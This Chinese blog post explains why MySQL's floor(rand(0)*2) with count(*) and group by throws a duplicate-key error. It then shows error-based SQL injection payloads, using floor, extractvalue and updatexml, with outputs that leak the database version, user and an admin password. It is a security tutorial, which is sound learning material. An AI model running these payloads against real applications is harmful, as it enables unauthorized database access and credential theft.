floor()函数报错分析

2018/4/20

Author:criedcat

文章大纲:

1。MySQL的floor函数,rand(),count()函数简介

2。floor()函数报错原理

3.报错注入的一般用法

4.参考链接

 

大家好,笔者昨天前天在研究SQL注入的floor()函数报错。笔者阅读了大量的文章,借鉴不同的文章来写成自己的文章方便我们社团理解一下比较有难度的floor()报错。

本文已经整合了网上一些优秀的相关文章,由笔者带领你们深入了解floor()报错。

如果本文章依然难以理解,大家可以参考文章尾部的其他链接来看其他相关写floor()注入的文章。

 

1.函数介绍

floor(x),也写做Floor(x),其功能是“向下取整”,或者说“向下舍入”,即取不大于x的最大整数(与“四舍五入”不同,下取整是直接取按照数轴上最接近要求值的左边值,即不大于要求值的最大的那个值)。(与celling()函数相反,从英语角度看,一个地板一个天花板也好理解)

 

rand函数不是真正的随机数生成器,而srand()会设置供rand()使用的随机数种子。如果你在第一次调用rand()之前没有调用srand(),那么系统会为你自动调用srand()。而使用同种子相同的数调用 rand()会导致相同的随机数序列被生成。

 

COUNT(column_name)函数返回指定列的值的数目(NULL 不计入):COUNT(*)函数返回表中的记录数:

 

2.floor()报错原理

0x00疑问

一直在用mysql数据库报错注入方法,但为何会报错?


百度谷歌知乎了一番,发现大家都是把官网的结论发一下截图,然后执行sql语句证明一下结论,但是没有人去深入研究为什么rand不能和order by一起使用,也没彻底说明三者同时使用报错的原理。

0x01位置问题?

select count(*),(floor(rand(0)*2))x frominformation_schema.tables group by x; 这是网上最常见的语句,目前位置看到的网上sql注入教程,floor 都是直接放count(*) 后面,为了排除干扰,我们直接对比了两个报错语句,如下图

由上面的图片,可以知道报错跟位置无关。

0x02绝对报错还是相对报错?

是不是报错语句有了floor(rand(0)*2)以及其他几个条件就一定报错?其实并不是如此,我们先建建个表,新增一条记录看看,如下图:


确认表中只有一条记录后,再执行报错语句看看,如下图:


多次执行均未发现报错。

然后我们新增一条记录。


然后再测试下报错语句


多次执行并没有报错

OK 那我们再增加一条


执行报错语句


ok 成功报错

由此可证明floor(rand(0)*2)报错是有条件的,记录必须3条以上,而且在3条以上必定报错,到底为何?请继续往下看。

0x03随机因子具有决定权么(rand()和rand(0))

为了更彻底的说明报错原因,直接把随机因子去掉,再来一遍看看,先看一条记录的时候,如下图:


一条记录的话无论执行多少次也不报错

然后增加一条记录。

两条记录的话结果就变成不确定性了




随机出现报错。

然后再插入一条

三条记录之后,也和2条记录一样进行随机报错。

由此可见报错和随机因子是有关联的,但有什么关联呢,为什么直接使用rand(),有两条记录的情况下就会报错,而且是有时候报错,有时候不报错,而rand(0)的时候在两条的时候不报错,在三条以上就绝对报错?我们继续往下看。

0x04不确定性与确定性

前面说过,floor(rand(0)*2)报错的原理是恰恰是由于它的确定性,这到底是为什么呢?从0x03我们大致可以猜想到,因为floor(rand()*2)不加随机因子的时候是随机出错的,而在3条记录以上用floor(rand(0)*2)就一定报错,由此可猜想floor(rand()*2)是比较随机的,不具备确定性因素,而floor(rand(0)*2)具备某方面的确定性。

为了证明我们猜想,分别对floor(rand()*2)和floor(rand(0)*2)在多记录表中执行多次(记录选择10条以上),在有12条记录表中执行结果如下图:


连续3次查询,毫无规则,接下来看看select floor(rand(0)*2) from`T-Safe`;,如下图:


可以看到floor(rand(0)*2)是有规律的,而且是固定的,这个就是上面提到的由于是确定性才导致的报错,那为何会报错呢,我们接着往下看。

0x05count与group by的虚拟表

使用select count(*) from `T-Safe` group by x;这种语句的时候我们经常可以看到下面类似的结果:


可以看出 test12的记录有5条

与count(*)的结果相符合,那么mysql在遇到select count(*) from TSafe group by x;这语句的时候到底做了哪些操作呢,我们果断猜测mysql遇到该语句时会建立一个虚拟表(实际上就是会建立虚拟表),那整个工作流程就会如下图所示:

1.     先建立虚拟表,如下图(其中key是主键,不可重复):


2.开始查询数据,取数据库数据,然后查看虚拟表存在不,不存在则插入新记录,存在则count(*)字段直接加1,如下图:


由此看到 如果key存在的话就+1,不存在的话就新建一个key。

那这个和报错有啥内在联系,我们直接往下来,其实到这里,结合前面的内容大家也能猜个一二了。

0x06floor(rand(0)*2)报错

其实mysql官方有给过提示,就是查询的时候如果使用rand()的话,该值会被计算多次,那这个“被计算多次”到底是什么意思,就是在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次,我们来看下floor(rand(0)*2)报错的过程就知道了,从0x04可以看到在一次多记录的查询过程中floor(rand(0)*2)的值是定性的,为011011…(记住这个顺序很重要),报错实际上就是floor(rand(0)*2)被计算多次导致的,具体看看select count(*) from TSafe group by floor(rand(0)*2);的查询过程:

1.查询前默认会建立空虚拟表如下图:


2.取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕,如下图:


3.查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)*2)不会被计算第二次,直接count(*)加1,第二条记录查询完毕,结果如下:


4.查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了。

5.整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要3条数据,使用该语句才会报错的原因。

0x07floor(rand()*2)报错

由0x05我们可以同样推理出不加入随机因子的情况,由于没加入随机因子,所以floor(rand()*2)是不可测的,因此在两条数据的时候,只要出现下面情况,即可报错,如下图:


最重要的是前面几条记录查询后不能让虚表存在0,1键值,如果存在了,那无论多少条记录,也都没办法报错,因为floor(rand()*2)不会再被计算做为虚表的键值,这也就是为什么不加随机因子有时候会报错,有时候不会报错的原因。如图:


当前面记录让虚表长成这样子后,由于不管查询多少条记录,floor(rand()*2)的值在虚表中都能找到,所以不会被再次计算,只是简单的增加count(*)字段的数量,所以不会报错,比如floor(rand(1)*2),如图:


在前两条记录查询后,虚拟表已经存在0和1两个键值了,所以后面再怎么弄还是不会报错。

总之报错需要count(*),rand()、group by,三者缺一不可。

 

2.     一般的使用方法,

在通用的三个固定格式后

笔者会对以下语句的“为什么是这样子写”简单解释解释

and select 1 from (selectcount(*),concat(version(),floor(rand(0)*2))x from information_schema.tablesgroup by x)a);

and (selectcount(*) from (select 1 union select null union select !1)x group byconcat((select table_name from information_schema.tables limit1),floor(rand(0)*2)));


mysql注入如何通过floor报错?UpdateXml测试语句是什么?

举例如下:

首先进行正常查询:

mysql>select * from article where id = 1;

+—-+——-+———+

id | title |content |

+—-+——-+———+

1 | test | doit |

+—-+——-+———+

假如id输入存在注入的话,可以通过如下语句进行报错。

mysql>select * from article where id = 1 and (select 1 from (selectcount(*),concat(version(),floor(rand(0)*2))x from information_schema.tablesgroup by x)a);

ERROR 1062(23000): Duplicate entry ‘5.1.33-community-log1’ for key ‘group_key’

可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。

例如我们需要查询管理员用户名和密码:

Method1:

mysql>select * from article where id = 1 and (select 1 from (selectcount(*),concat((select pass from admin where id =1),floor(rand(0)*2))x frominformation_schema.tables group by x)a);

ERROR 1062(23000): Duplicate entry ‘admin8881’ for key ‘group_key’

Method2:

mysql>select * from article where id = 1 and (select count(*) from (select 1 unionselect null union select !1)x group by concat((select pass from admin limit1),floor(rand(0)*2)));

ERROR 1062(23000): Duplicate entry ‘admin8881’ for key ‘group_key’

2、extractvalue测试语句如下(这个不是笔者说的东西)

andextractvalue(1, concat(0x5c, (select table_name from information_schema.tableslimit 1)));

实际测试过程

mysql>select * from article where id = 1 and extractvalue(1, concat(0x5c,(select passfrom admin limit 1)));–

ERROR 1105(HY000): XPATH syntax error: ‘\admin888’

3、UpdateXml(这个也不是笔者要说的东西,读者了解了解有个xml类型的注入就行)

测试语句

and1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql>select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(selectuser())),1))ERROR 1105 (HY000): XPATH syntax error: ‘:root@localhost’

 

笔者分析:

and select 1 from (selectcount(*),concat(version(),floor(rand(0)*2))x from information_schema.tablesgroup by x)a);

其实,能想到floor()报错注入的人,对MYSQL玩的很6,熟悉MYSQL运作原理。而且floor报错最大的好处就是,这种报错方式在MYSQL全版本中通用。

 

首先,为什么and的后面加了跨度很大的括号:因为优先级啊,优先后面的注入语句执行,后面的注入语句被优先执行,本身就计算出错然后就会直接报错,那么就没有前面的select语句的什么事儿了。我们可以简单的理解为语句短路。

其次,x,那个x是sql中暂时成为查询语句的虚拟表的字段名。反正sql对虚拟表的命名就是那么个格式。

concat()函数,拼接字符串的函数,如果熟悉这个函数的话,一般在手动注入中比较省事儿去查很多东西。

 

4.参考链接:

1.https://www.cnblogs.com/xishaonian/p/6227405.html

这个文章比较详细,需要大家反复阅读

2.https://blog.csdn.net/liangdongjuan/article/details/78406395

这个文章总结的是语句的固定格式,大家多想多活学活用

3.http://www.myhack58.com/Article/html/3/7/2016/73471.htm

来自黑吧安全网,本文的核心参考,借鉴文章

猜你喜欢

转载自blog.csdn.net/cried_cat/article/details/80022378